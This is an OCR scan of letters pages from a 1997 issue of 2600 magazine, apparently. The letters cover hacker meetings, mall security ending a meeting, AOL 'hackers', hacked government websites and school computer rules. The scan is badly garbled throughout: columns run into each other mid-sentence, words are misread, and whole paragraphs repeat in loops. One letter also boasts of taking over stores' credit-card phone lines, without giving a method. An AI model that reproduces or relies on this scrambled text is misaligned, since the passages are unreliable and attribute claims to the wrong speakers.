Mall is the work of the stature is I in a spinit east of ality is a spinit of the stature is I in a spinit east of a spinit I came ality of the rube whow if a spinit is I in a spinit east of a spinit is I in a spinit east of a spinit is I in a spinit east of a spinit is I in a spinit east of a spinit is I in a spinit east of a spinit is the follow is and I were the meeting for any table and I were there there there the and tak a price the spinit is I in a spinit east of a spinit is I in a spinit east of a spinit is I ino	d we all simply complied to removing the		ing place in Buffalo, and I k	v my handle and joined the group.	troduced myself by	aters, iaptops, printouts, etc.) and what	isn't?
 night meeting at their favorte wareng, boil, and how you could stop in the <i>TAP</i> office and holp out with the publishing of the paper. I wanted to be at an interesting, boilt with the publishing of the paper. I wanted to be at an interesting, boilt with the public out of the station. I had no puer resolutionists' structure. Some call us there is no denying that because of us computer system about of the station. I had nower been there. From the stories I some of an interesting at 1:0 ans to could each the busiding to make it back alive. Lue many system about four police cars. The bus pulled to support of the start until 5:00 pm I decided to sightsee. As I walch the stores I met some of the start busid have er seen in my intering meeting and about four police cars. The bus pulled into the Port Authorly station about 2:00 pm and since in the sight and was paseed by a speeding stolen car and about four police cars. The bus pulled into the Port Authorly station about 2:00 pm and since in the sight and was paseed by a speeding stolen car and about four police cars. The bus pulled into the Port Authorly station about 2:00 pm and since in my intering meeting and price and table. The bus pulled into the port watter is the spring issue: I know the old scam of raise the price and table. I know the old scam of raise the price and table. I can be into a couple of electronic stores that adout in a couple of electronic stores that adout the meeting was to be held. When I can think of is that you went to the re hose an other is more stores. 	were for eating only" Getting horsed with the		all. The Eastern Hills Mall it	ill of 2600 buttons and fliers. I in-	across the tables fu	sters lantons made? What is safe to	ing comiscan
 night meetings at their favorite watering hole, and how you could stop in the <i>TAP</i> office and holp out with the publishing of the period. <i>Could active the Now</i> <i>May an example of the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the meeting, Sub with the station, I had now</i> <i>May and the a chance.</i> <i>May and the a chance, I wand of the station, I had now</i> <i>May and the a chance, I wand of the stating, and yong of the the stating and remembering this in the meeting station about 2000 per and since of the meeting station about 2000 per and since the meeting station about 2000 per all have been at every 2000 meeting in Buffalo since July 95, and we never shund have to a widespread BS publicity camping. Are you sure an this a not the for a started in a not the for a started in a not</i>	ig. we again asked what, and he said that the		months), or that you didn't	around looking lost until I came	got there I walked	of a police raid, or of equipment be-	ing conferent
 night meetings at their favorite watering, hole, and how you could stop in the <i>TAP</i> office and holp out with the publishing of the paper. I wanted to <i>be at</i> 1 instead of <i>read about</i> the meetings, but with the <i>TAP</i> office and holp out interesting. Subtract the solution is at some call us criminal, some call us hereas, but whataver you call us there is no denying that because of us computer system about the station, I had no the station, I had no the station is not form at longit that it would never be. Now <i>Vol.</i> (I durit know if I was the watchers of Big from the station, I had now the heard about four police cars. The bus pulled up that morting at 1.30 ans to could each the bus pulled into the port Autority station about 2.00 pm at since the meeting durit y station about 2.00 pm at since the price and about four police cars. The bus pulled into the Port Autority station about 2.00 pm 1 decided to sightee. As I walked the strees I may infe. I went into a couple of cleerronic stores that act wit is some of the suff. I have the norts stores that act and about four police cars. The bus pulled into the prices were still longit. At a 300 leaght a deal on some of the suff. I would heave then intose in in the sprine stores that act and about four police cars. The bus pulled into the prices were still tought. I know the old scam of raise the price and tak a lead to ut four police cars. The suff. I were than those in the form at the sprine stores that act and the prices were still bught. I know the old scam of raise the price and tak a lead to ut four police cars. The sprine farmed tak a lead to ut four sprine stores that act and the prices were strand and apone from the meetings for any reason. As a matter of fact, we're just started a in the fore store that more the morth, sprine togs must contact the transport the store the morth. Sprine togs must contact the transport the store the morth. Sprine togs must contact the transport the store the more the store the morth. Sprine togs must contact the transpor	est. He said that we couldn't do what we were		using of 07 (Trilobute and	e meeting was to be held. When I	Citicorp, where the	i sometimes attend meetings. What is	now cops will
 night meetings at heir favorie watering hole, and how you could sop in the <i>TAP</i> office and holp out with the publishing of the pare. I wanted to <i>be at</i> instead of <i>read about</i> the meeting, but with the publishing of the pare. I wanted the station, I had never be a chance. 2600 gave me a chance. When the bus pulled out of the station, I had not it does all as some call us herces, but whatever you call us there is no derying that because of us one pure secure. We are the watchers of Big Endoter, and because of us an enver get a good night's sleep. I will remaine to become more secure. We are the watchers of Big Endoter, and because of us an enver get a good night's sleep. I will remaine to become more secure. We are the watchers of Big Endoter, and because of us, here an never get a good night's sleep. I will remaine to become more secure. We are the watchers of Big Endoter, and because of us, here an never get a good night's sleep. I will remaine to her meeting did not have to here the station about 2.00 pm and since the meeting did rist at unit 5.00 pm I decided to sightsee. As I walked the streem is that ever seen in my life. I went into a couple of clearnies that accurately made me a deal on some of the suff I bought. I know the old seam of raise the price and tak a deal, but the prices were suff. Know the old seam of raise the price and thave increase that accurately made me a deal on some of the suff I bought. I know the old seam of raise the price and thave increase that accurately made me a deal on some of the suff I bought. Know the old seam of raise the price and thave increase that accurately made me a deal on some of the suff I bought. Know the old seam of raise the price and thave increase that accurate the server show the old seam of raise the price and thave increase that accurate the server show the old seam of raise the price and thave increase that accurate the serv	d spoke to me and a few others who were the		think of is that you came due	ought. At 4:30 I caught a cab to	Pittsburgh, so I bc	the incident at the Pentagon Mall, and	I've heard of
state a the satellite disks on the top of instand of <i>read about</i> for paper. I wanded to <i>be at</i> with the publishing of the paper. I wanded to <i>be at</i> are used for credit and verifies in many insets are used for credit and verifies in anset of <i>TkeI</i> to hope that it would never be. Now 2000 gave me a chance. When the bus pulled out of the station, I had no tree is no denying that because of us computer systems have and continue to become more secure. We are the variables of <i>TkeI</i> to hope that it would never be. Now 2000 gave me a chance. The totaget that it would never be. Now 2000 gave me a chance. The base pulled out of the station, I had no tog some fell of 18-324-0922 is 71 discovered it are moring at 10 ans of could actor the base ground. All the background, and the sents you interesting day when it start unit 5000 pm and since you whistling in the background. All the Port Authority station outpoin cars. The bus pulled into the enting dark when sources on the toring methang are techeraled. It wand the a datout four police cars. The bus pulled into the resting dark when source and about four police cars. The bus pulled into the resting dark when since on the rubes print start unit 1500 pm 1 decided to streets 1 mets and out 2000 pm and since where? May good friend Thiobyte and 1 have been at every 2000 meeting in the background. All the Port Authority station some of the strift bught.	backup guards came to the area. The large		nrst rinday of the month, 5pi	es were still lower than those in	deal, but the price	ow safe are your meetings to attend?	Exactly h
night meetings at their favorite watering, hole, and how you could stop in the TAP office and holp out with the publishing of the paper. I wanded to be at a same call us criminal, some call us hereas. Fur water you call us there is no denying that because of us computer system state of the station, I had now times of TAP indugit that it would never be. Now 2600 gave me a chance. was, and still is becoming the building of the computer system state of the station, I had now times of TAP indugit that it would never be. Now 2600 gave me a chance. We are the watchers of Big structure. Some call us herees, hut watareer you call us there is no denying that because of us computer system should have here is no denying that because of us computer system state there. From the stories I had heard about four police cars. The bus pulled into the Port Aution's station about 200 pm and since the meeting didn't start until 5:00 pm I decided to sightsee. As I walked the strees in my infe. I went into a couple of electronic stores that account is store state a workes previous stores furt account is store state and about four police cars. The bus pulled into the Port Aution's station about 200 pm and since the meeting state the meeting store in my infe. I went into a couple of electronic stores that account is a store of the state of	utes later a large mall security guard and five or		that you went to the Eastern	am of raise the price and talk a	I know the old sci		Dear 2600:
night meetings at their favorie watering hole, and how you could sop in the 7AP office and holp out with the publishing of the paper. I wanded to be an instead of read about the meeting, but with the factor of the meeting data to water be advance. was, and still is becoming the building of the computer system call us beroes, but whatever you call us there is no derying that because of us office and holp out with the factor of the meeting, but with the factor of the meeting data to wate the station. I had not idea what was instore form to leave the station. I had never been there. From the station is bout New York, and had never been there. From the station is bout New York, and had never been there. From the station is about New York, and had never been there. From the station is about New York, and had never been there. From the station is about New York, and had never been there. From the station about 2000 gave me a chance. We are the watchers of Big coding and never get a good night's sleep. I will remains of us of us here any way I good of the Ar and hour to police cars. I be us public duto the meeting dath start unit 5:00 pm I decided to sightsee. As I waked the street in the spring issue: there there in the spring issue: the meeting dath start unit 5:00 pm I decided to sightsee. As I waked the street in the spring issue: the there is the spring issue: the meeting dath start unit 5:00 pm I decided to sightsee. As I was the were shunded anyone from the meetings for an anter of fact, we've just statted a anyone for we've just statted and anyone for anyone form the meeting for anyone form th	pack down and continued chatting. About 5-10	-	widespread BBS publicity of	teal on some of the shiff I hought	tually made me a d		
night meetings at their favorie watering hole, and how you could stop in the <i>TAP</i> office and holp out with the publishing of the period. Could act the best of <i>TAP</i> office and holp out with the publishing of the period. Some call us criminals, some call us herees, but whatever you call us there is no denying that because of us some call us herees. Now the publishing of the period. Some call us herees, but whatever you call us there is no denying that because of us some call us herees. Now the the bus pilled out of the station, I had now the the station is not form. I known if I was some call us herees to Big Brother, and because of us here an enver get a good night's sleep. I will remaine to become more secure. When the bus pilled out of the station, I had now to known to be an inverse to be a there. From the stories I had heard about New York, I didn't known if I was gooing to make I tabek alive. Unbeing the statiant is should have known if the norting and vary paseding stolen for arel light and was pased by a speeding to make inverse. The that I would be an interesting day when I stopped for arel light and was pased by a speeding to make the work is spirit emains strong at the many meetings we now have. The Hanter portant anniversary. A lot of us remember the maker of the maximum day any meeting stopped for arel light of the transmiss for the Port Authority station about 2:00 pm and since the meeting did the streads I soop to the store the store of the meeting in Buffalo since July 96, and we never shown the meeting for the meeting for the meeting in the some of the meeting in the mean in the meeting in the meeting in the meeting in th	absolutely no paraphernalia of the sort). We all	_	any reason. As a matter of t	micronalis I had ever seen in my	life. I went into a c	S.	Meeting
night meetings at their favorie watering hole, and how you could stop in the <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the <i>2600</i> gave me a chance. was, and still is becoming the building of the com- puer revolutionists' structure. Some call us, there is no denying that because of us computer sys- tems is not form a lawer you call us. there is no denying that because of us computer sys- tems is not form a lawer you call us. 2600 gave me a chance. When the bus pulled out of the station, I had nov idea what was instore form. I knew no cen is not vork, and had never been there. From the stories I had heard about New York, I chair the stating computer enthusiast that I was. I vent anyway I got up that morning at 1:30 ans to could cache the bus from Pittsburgh to New York I should have known that it would be an interesting day when I stopped or a red light and about four police cars. The bus pulled into the Port Aution's station about 2:00 pm and since the meeting dath't start unit 5:00 pm I decided to every 2000 meeting in Buffalo stop. That first meeting we now have. Dear 2000: Cor a red light and about four police cars. The bus pulled into the Port Aution's station about 2:00 pm and since the meeting dath't start unit 1:500 pm I decided to every 2000 meeting in Buffalo stop and we every 2000 meeting in Buffalo stop.	nographic" videos and material (which there		have never shunned anyone	net the streets I met some of the	most interesting a		
night meetings at their favorie watering hole, and how you could stop in the 7AP office and help out with the publishing of the paper. I wanted to be at instead of read about the meetings, but with the f demise of 7AP I hought that it would never be. Now 2600 gave me a chance. was, and still is becoming the building of the com- puer revolutionists' structure. Some call us hereos, but whatever you call us there is no denying that because of us one gave and continue to become more secure. When the building of the gaper. I wanted a what was in store for me. I knew no one in New York, and had never been the. From the steadfast going to make it leaks alive, the being the steadfast going to make it leaks alive, but being the steadfast going to make it leaks alive, but being the steadfast going to make it leaks alive, but being the steadfast going to make it leaks alive, but being the steadfast going to make it leaks alive, but being the steadfast going to make it leaks alive, but being the Part Authority station about 2:00 pm and since what?? My good firend Thiobyte in the Spring issue: what?? My good firend Thiobyte and the we be at what?? My good firend Thiobyte in the Spring issue: Dear 2000: In response to Crumb's letter in the Spring issue: what?? My good firend Thiobyte in the Spring issue:	something about computer equipment and		every 2600 meeting in Buffa	t start until 5:00 pm I decided to	sighteen As I until	Rhon	
night meetings at their favorite watering hole, and how you could stop in the <i>TAP</i> office and holp out with the publishing of the period. Could stop in the <i>TAP</i> office and holp out instead of <i>read about</i> the meetings, but with the fact all soure the Now <i>Vole</i> (and hold for each and holp there is no denying that because of us as no denying that because of us here is no denying that because of us here an over get a good night's sleep. I will remember you all. 2600 gave me a chance. We are the watchers of Big forbote, and because of us here an over get a good night's sleep. I will remember you all. 1 idad whard about New York. I didn't know if I was gooding to make I tabek alive. Unbeing the standard goor that norming at 1:30 an so I could eatch the bus from Pittsburgh to New York. I stopped for are dight and was passed by a speeding stolen car and about four police cars. The bus pulled into Intersponse to Crumb's letter in the Spring issue:	s were causing a problem. She quickly radioed		what?? My good friend Trile	v station about 2:00 pm and since	the meeting dida's	bers in that exchange are telecorrelated	the other num
night meetings at their favorte watering hole, and how you could stop in the <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the demise of <i>TAP</i> (Hought that it would never be. Now <i>2001 gave the a</i> chance. When the bus pulled out of the station, 1 had nov idea what was insore form. I fuery no not in New York, and had never been there. From the stories I had heard about New York, I should have the stories computer enhasiast that I was. I went any way I got up that morning at 1:30 cm so I could catch the bus from Pittsburgh to New York. I should have knows that it would hear the stories in goty when I stopped for a red light and was passeding stolen. Dear 2000:	"that." We were all a little confised at why the		In response to Crumb's l	ir police cars. The bus pulled into	car and about four	a guy whistling in the background, and	once I heard
 night meetings at their favorte watering hole, and how you could stop in the <i>TAP</i> office and help out with the publiching of the part of <i>trad abaut</i> the meetings, but with the demise of <i>TAP</i> 1 hough that it would never be. Now 2600 gave me a chance. When the bus pulled out of the station, I had no idea what was in store for me. I knew no one in New York, and had never been three. From the stories I had head about New York, and had never been three. From the stories I had head about New York, I diah't known if I was going to make it back alive, but being the steadfast computer enhists that I vas I sopted that it would be an interesting day when I sopped 	hit she just simply pointed to the house and	ing	Dear 2600:	1 was passed by a speeding stolen		t. sometimes it's silent, sometimes you	hear machin
night meetings at their favorte vareng hole, and how you could stop in the <i>TAP</i> office and holp out with the publishing of the poet instead of <i>read about</i> the meetings, but with the demise of <i>TAP</i> if hought that it would never be. Now 2600 gave me a chance. When the bus pulled out of the station, I had no idea what was its or form c. I knew no one in New York, and had never been there. From the stories 1 going to make the bas allow it it was going to make all is bould have it bould active thes member you all. going to make all is on denying that because there is no denying that because of us omputer sys- there is no denying that because of us omputer sys- there is no denying that because of us omputer sys- there is no denying that because of us one secure. We are the watchers of Big proteins and because of us the can never get a good night's sleep. I will re- member you all. Logging off. The Hunter <i>portant annihes meeting this im- portant annihes meeting this im- of that meeting and here the magic of that is meeting and hope that the spirit rematins entry of the meeting this im-</i>	we weren i allowed to do what we were doing.		Survey from and a Survey	in interesting day when I stopped	_	TS ago and it seems to be some kind of	over live year
night meetings at their favorte watering hole, and how you could stop in the <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the demise of <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the <i>2000 gave me</i> a chance. <i>2000 gave me</i> a chance dewise of <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the <i>2000 gave me</i> a chance. <i>2000 gave me</i> a chance dewise of <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the <i>2000 gave me</i> a chance. <i>2000 gave me</i> a chance dewise of <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the <i>2000 gave me</i> a chance. <i>2000 gave me</i> a chance dewise of <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the idea what was instor for me. I knew no one in New York, and had never been there. From the stories I had heard about New York, I didn't know if I was going to make it back alive. I ouble date the bast computer enhusiast that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhusiast that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhusiast that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhusiast that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhusiast that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhus that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhus that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhus that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhus that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhus that I vas. I went anyway. I got up that morning at 1:30 cm so I could catch the bast computer enhus that I vas.I we	e sitting neatly in boxes on the tables. She said		of that for the many meeting	o New York. I should have known		hell 618-254-9952 is? I discovered it	me what the
night meetings at their favorite wareing hole, and how you could stop in the <i>TAP</i> office and help out with the publisming of the pour instead of <i>read about</i> the meetings, but with the demise of <i>TAP</i> i though that it would never be Now 2600 gave me a chance. When the bus pulled out of the station, I had no idea what was in store for me. I knew no one in New York, and had never been there. From the stories I had heard about New York, I didn't know if I was going to make it back alive, but being the steaddat computer enthalist that yeas I wern any was I on the stories I had heard about New York, I didn't know if I was poing to make it back alive, but being the steaddat computer enthalist that yeas I wern any out of the stories I had heard about New York, I didn't know if I was poing to make it back alive, but being the steaddat computer enthalist that yeas I wern any out of the steaddat to be the steaddat computer enthalist that yeas I wern any out of the steaddat to be the steaddat computer enthalist that yeas I wern any out of the steaddat to be the steaddat to be the steaddat to make it back alive, but being the steaddat computer enthalist that yeas I wern any out of the steaddat the steaddat to be the stea	he old computer equipment and videos that		portant anniversary. A lot o	t 1:30 am so I could catch the bus		h this dish. Also - could someone tell	come throug
night meetings at their favorte waring hole, and how you could stop in the <i>TAP</i> office and help out with the publishing of the part i wand to be <i>at</i> instead of <i>read about</i> the meetings, but with the demise of <i>TAP</i> if hough that it would never be. Now 2600 gave me a chance. When the bus pulled out of the station, 1 had no idea whar was in store for me. I knew no one in New York, and had never been three. From the stories I had head about New York, 1 dicht know if I was going to make it hoke his pulle out of the station and the station of the stories I had head about New York, 1 dicht know if I was going to make it hoke his pulle out of the stories I had head about New York. I dicht know if I was going to make it hoke his hore hor exerting the store form the stories I had head about New York. I dicht know if I was going to make it hoke his hore hor exerting the store form the stories I had head about New York. I dicht know if I was going to make it hoke his hore hor exerting the store form the stories I had head about New York. I dicht know if I was going to make it hoke his pulle hore hore serifier the stories I had head about New York. I dicht know if I was going to make it hoke his hore hore serifier the store form the stories I had head about New York. I dicht know if I was going to make it hoke his hore hore serifier the store form the stories I had head about New York. I dicht know if I was going to make it hoke his hore hore serifier the store form the stories I hore the store store the s	iding stores. A guard came near and saw some		Inanks for writing and	ist that I was. I went anyway I ont		d the Lotto TV that some stores have	validation an
night meetings at their favorte watering hole, and how you could stop in the <i>TAP</i> office and help out instead of <i>read about</i> the meetings, but with the demise of <i>TAP</i> itought that it would never be. Now 2000 gave me a chance. was, and still is becoming the building of the com- nals, some call us heres, but watever you call us, there is no denying that because of us computer sys- tems have and continue to become more secure. 2000 gave me a chance. Wean the bus pulled out of the station, I had no idea what was in store form. I flow no one in New York, and had never been there. From the stories I Wean the watchers of Big fronte, and because of us, he can never get a good night's sleep. I will re- member you all. Logging off, heard about the stories I Logging off,	kers had posed some threat to them and the sur-		1	back alive, but being the steadfast		he lottery machines. Both lottery ticket	are used for t
night meetings at their favorite wareing hole, and how you could stop in the TAP office and help out with the publishing of the paper. I vanade to be at instead of read about the meetings, but with the demise of TAP. I thought that it would never be Now 2600 gave me a chance. vas, and still is becoming the building of the com- nals, some call us terrous, but whatever you call us, there is no denying that because of us computer sys- tems have and continue to become more secure. We are the waters of Big Brother, and because of us, he can never get a good night's sleep. I will re- member you all.	is the mall and its security decided that we			New York. I didn't know if I was		ever get incoming calls. The satellites	usually don't
night meetings at their favorite waring hole, and how you could stop in the 7AP office and help out with the publishing of the paper. I wanted to be at instead of <i>read about</i> the meetings, but with the demise of 7AP intogets that it would never be. Now 2600 gave me a chance. was, and still is becoming the building of the com- puter revolutionsis's tructure. Some call us termi- nals, some call us heroes, but whatever you call us, there is no denying that because of us computer sys- tems have and continue to become more secure. 2600 gave me a chance. We are the watchers of Big Brobler, and because of us, he can never get a good night's sleep. I will re- of us, he can never get a good night's sleep. I will re- tore the stage of the station.	I for some reason, for the first time in three		member you alll.	ver been there. From the stories I	_	es for my own uses since those lines	different stor
night meetings at their favorite watering hole, and how you could stop in the ZAP office and help out with the publishing of the part. I vanied to be at instead of <i>read about</i> the meetings, but with the demise of ZAP thought that it would never be. Now 2600 gave me a chance. was, and still is becoming the building of the com- puter revolutionists' structure. Some call us, nais, some call us herees, but whatever you call us, there is no denying that because of us computer sys- tems have and continue to become more secure. When heb hus nulled out of the arsien. I have an value is a chance. We are the waters of BLB prother, and because	ut - maybe a little curious but never offended.		of us, he can never get a goc	the for me I knew no one in Nam		ken over the credit card lines in many	cards. I've ta
night meetings at their favorite watering hole, and how you could stop in the <i>TAP</i> office and help out with the publishing of the paper. I wanted to be at instead of read about the meetings, but with the demise of <i>TAP</i> thought that it would never be. Now was, and still is becoming the building of the com- puter revolutionists' structure. Some call us crimi- nals, some call us hower you call us, there is no denying that because of us computer sys- tems have and continue to become more secure.	't care what we're up to or what we are talking	ause	We are the watchers of I	milled out of the station. I had a		, normal phone lines are used for credit	tion. Actually
high meetings at their favorite watering hole, and was, and still is becoming the building of the com- how you could stop in the TAP office and help out with the publicity of the paper. I vanated to be at instead of read about the meetings, but with the and the publicity of the about the meetings of the the there is no denying that because of us computer sys- tics of the the system of the there is no denying that because of us computer sys- tics of the the system of the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the there is no denying that because of us computer sys- tics of the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the there is no denying that because of us computer sys- tics of the there is no denying that because of us computer sys- tics of the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the system of the there is no denying that because of us computer sys- tics of the the there is no denying that because of us computer sys- tics of the the the there is no denying that because of us computer sys- tics of the the the there is no denying the the there is no denying the the the there is no denying the the there is no denying the there is no denying the the the there is no denying the the there is no denying the the there is no denying the there is no denying the the the	who passes by, either to sit and rest or eat. they		tems have and continue to b	nought that it would never be. Now		ions were used for credit card verifica-	Chevron stat
high meetings at their favorite watering hole, and was, and still is becoming the building of the com- bay you could stop in the TAP office and help out put revolutionists' structure. Some call us crimi- with the publishing of the paper. I wanted to be at nais, some call us herees, but whatever you call us.	ve for the others. I smally every month no mot		there is no denying that beca	about the meetings, but with the		the satellite diskes on the ten of	claimed that
night meetings at their favorite watering hole, and was, and still is becoming the building of the com- how you could stop in the 7.4P office and help out nutter revolutionistic structure. Scene cell us crime	the service of the service was allowed to take as		nals, some call us heroes, b	ng of the paper. I wanted to be at			Dear 2000:
night meetings at their favorite watering hole, and	ictional videos for some local computer compa-		muter revolutionists' structu	op in the TAP office and help out	how you could stu		100
		-	tion and still is the second	t their favorite watering hole, and	night meetings at		ofur

Page 36 wire fatigue This is the first we're hearing of this. We'd like to know if readers' experiences with NYNEX calling my page when I today heard about the NCAA site. I did not like what I heard about that hack and was pleased to see that you had not added it to your site. I would like to ask your readers if they have any idea why NYNEX disallows 0, 1, or 6 as the first digit in a calling card's PIN. from us. script and then has no idea what they want to say once they have the power or, worse, simply tries to shock people with hate speech or pornography. completely disinterested in ever seeing it. Those who hack motivated by hate are worse than braincards (not any other company) bear this out. Dear 2600: Mystery Such people thrive on attention. pages and communicate a real message if we put them side by side with any idiot who simply runs a dead sheep, in my opinion. I hope and pray that this condition persists. I least partially) brain-dead sheep. links to them from my web page. I find it difficult to put into words exactly why I think what you are do-ing is a valuable public service. I do, however, feel that people who have zero "hacker" in them are (at pages on your web site. I have been maintaining Dear 2600. pened to any other 2600 meeting. to them since there were so many of them. "they couldn't find any reason to arrest us, so they decided to waste our time." I later found out they searched through the equipment and returned it. We all decided to meet at a popular Internet cafe to continue the meeting there. My friends were re-Also my friend and the other two 2600 attendees that were detained were pinned up against a wall and leased an hour later. When I met up with them at the cafe I asked why they had released them. He said Hacked Web Sites ment or videos we do not know what has happened searched. If they confiscated any of the old equipstays equipment with them the guard said, "The stuff It would be a disservice to those who hack web I'd just recently added the NASA sites link to We'd like to know if this sort of thing has hap-Thank you for maintaining the "hacked sites" here. They won't get it 2600 Magazine Low Tek Atlanta Boris am users deserve to be treated as individuals. But this is admittedly hard when there are so damn many of them. Read on for another view. at least given some of the people who read this food for thought. AOL members tend to be people people who show up in char rooms with AoHell and FATE. That's more than I see those who bash AOL doing. You have no right to judge someone by what servers they go through to get online. If any-thing, AOL should be praised for helping to get more normal on the Internet to characterize to the same level as a KKK member with your discrimi-nation. At least I try. I help people who post with problems. I let them know that not all people who call themselves hackers are out to wreak havoc. I ing people snicker when I announce an @aol.com email address. AOL has problems. There is no hacker community to speak of on AOL. So why don't you try and change it? That's what a real hacker would do. So many of you think you're so you call us criminals..." But we have our own forms of bias, and this is one of them. I am sick of being banned from IRC channels, sick of having my emails deleted without being read, sick of havleast for its crazy system of rules and penalties. AOL too. Please try and remember that. think someone should be a Unix guru to be able to the endless possibilities of cyberspace. Or do you more people on the Internet, to show more people papers ever written by a hacker, Mentor once wrote in defense of his activities "...we explore, and you to what hackers are supposed to believe in, howlength to fully explore this issue, but I hope I have use your precious bandwidth? I'll stop here, as it show people that there is more to hacking than you call us criminals. We exist without skin color, without nationality, without religious bias... and call us criminals. We seek after knowledge ... Dear 2600: would probably require a document of article 'leet and so great, but you lower yourself to the was destined to become one of the most famous think of few things that are in greater contradiction no stigma attached to either, but there is. I can that you are gay in the real world. There ought to be based on how they get their Internet access ever, than judging someone by their ISP. In what the hacker community is tantamount to announcing case, AOL. I am an AOL member. Saying this in hackers who insist on forming opinions of people who call themselves hackers. I write in response to countless issues from countless clueless people The AOL People t disturbing number of people calling themselves AOL certainly deserves criticism, at the very am writing in response to countless letters in Summer 1997 Magus in this and screw around with AOL. Plus, sometimes (very of-ten) a CatBot enters the room. Perhaps someone knows what I am talking about? CatBots boot you offline if you are in *any* coldice room (coldice2, to call yourself the earned title of a hacker. learn C, and at least get a substantial understanding of the Unix OS. You all disgust me and have no right to delete. Wow! News flash, that has nothing to do with hacking. To be an adequate hacker you should so cool because you can send mass amounts of email to people that takes them a whole five seconds line. First off, if you were any kind of a hacker, you would not have gone with AOL in the first place. It themselves "hackers" on the service of America On-Dear 2600: to talk about cold ice? This word control game AOL plays is one of the main reasons they're looked Better yet, you get a TOS point on your account! Unless you are running on a fake AOL account, I In response to SW's letter (Spring 97 issue) I would like to say that in those AOL chat rooms, you will find nothing but idiots with programs used to have been around since 1983! You all think you are little picture in a chat room or trying to get others' You people who call yourselves AOL hackers are fucking retards! You think hacking is scrolling a into a room that was publicly available! find information on what they want you to. AOL is a things are restricted and locked out you can only grade my dad got it for research. Ha! So many has got to be the Summer 1997 Dear 2600: son. coldice3) and you get a message that says something like "You have been booted offline: Illegal Activity." Dear 2600: all these wannabes know they will always be fake!) which is shared by many others, can be heard to let information by using annoying little phrases that ment! I got kicked off in less than a week for going more scandalous operation than our US govern-How Dare You down upon by so many. would advise not going into these rooms for any rea-The AOL Rules I would like to comment on people who call It's hard to say who makes the point better. So where do you go on a hot day when you want (Please print this article so that my opinion, Just one question: Why do you disrespect the worst service of all time. In seventh A Voice To Be Heard JediHamster Viral Tonic 2600 Magazine porific but many of the authors have become some-what indolent in their writing, writing articles that pages with repulsive pieces of crap! You all deserved to be arrested and imprisoned for treason. very government agencies that keep every safe? Why do you support criminal activit disrupt the activities of government? And I bought my first issue of 2600 a year plus ago and was quite impressed with the variety and de-tailed information it held. Over the last several ising ResEdit, a harmless resource editor, an expul-sion offense. This means the following: if you have ResEdit you will get kicked out of the school. Kind speak out against them like I am doing now they would probably try to punish me. Recently someone rectly. Our technology director reads private email and deletes or edits posts with little or no moral compunction. In fact, if they knew I was trying to recently linked our FC to OneNet. I am an advocate of both technology and the correct use of this tech-First off, that wasn't one question, it was three. Maybe your definition of safe is closer to our definiare simply a menace to society. The "hackers" who like to flatter themselves by replacing government disrupt the activities of government? And why do you relate the US Secret Service to the Nazi SS? You Dear 2600: publicity goes a long way. prising. We suggest getting some knowledgeable Mac people aware of this situation. A little adverse ResEdit is as dangerous as drugs. of odd since this is the same punishment that you reclaims. They have now gone so far as to make havused to do this but they supply no evidence for their counts on the server. They suspect that ResEdit was gained administrator access and deleted some achere at Brewster is not using their technology cornology but unfortunately the network administration Dear 2600: More School Stupidity ever could be. ing people are a far greater menace than any hacker are in power now and solve every issue by imprisonanything we can say to you. The people like you who tion of brain dead. If so, you're certainly safe from revolution. Not only have the articles become soceive from getting caught doing drugs. Somehow even. 2600 has not just changed, but it's had its own sues I have witnessed something, strange, uncanny The Decline of 2600 These kind of stories no longer seem even suram a student at Brewster Academy and we just activities that Page 37 y citizen bryan Fraas

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	ortion Di	port their cause and huv it There's a reason bakind
	which read. "The front and cannot confirm the la	satisfied with 2600's quality, then I shouldn't sun-
	PC froze and I was confronted with a dialog how	A menu pointed out to me, that if I am that dis-
	utied to download the entire NASA web page. The	
	The state of the s	dream of has 2600 herome centered?
	trialling on us students Eventhing up for	thing more occurred, something no-one would even
was plaining my circumstances. So here I am. I hope you others.	browser that the administrator had designed and was	ins inclus? Or in all our wildest dreams has some-
	the internet internally using the crude Internet web	the first open it out and show ins rect-0 linds to
	At the most since since in an amount to all	the moment to null it out and show his last a most to
found a conv of your address. I tried to gather my	this was the first time that I had attempted to secure	got his 2600 stuffed in his backpack, just waiting for
he is. I was denied my possessions. I went home and	ternet externally of the college for some time and	iddilize? I nat every kid using a computer has now
e In-	lege where I study part time. I had been using the In-	ideline The sound sumb for working indexets to
forwarded by my lawyer being the family friend that		has become the trendy thing for teamane hashes to
vears ago - big deal). The money for my bail was Row4 outputs of the 8870 to decode the '*' Post	than log onto the LAN at the local community col	But what has caused this change? Is it because 2600
	Wednesday afternoon, and I had nothing better to do	ack charistila, detailed info, and that 2000 quality.
	-	



ŗ

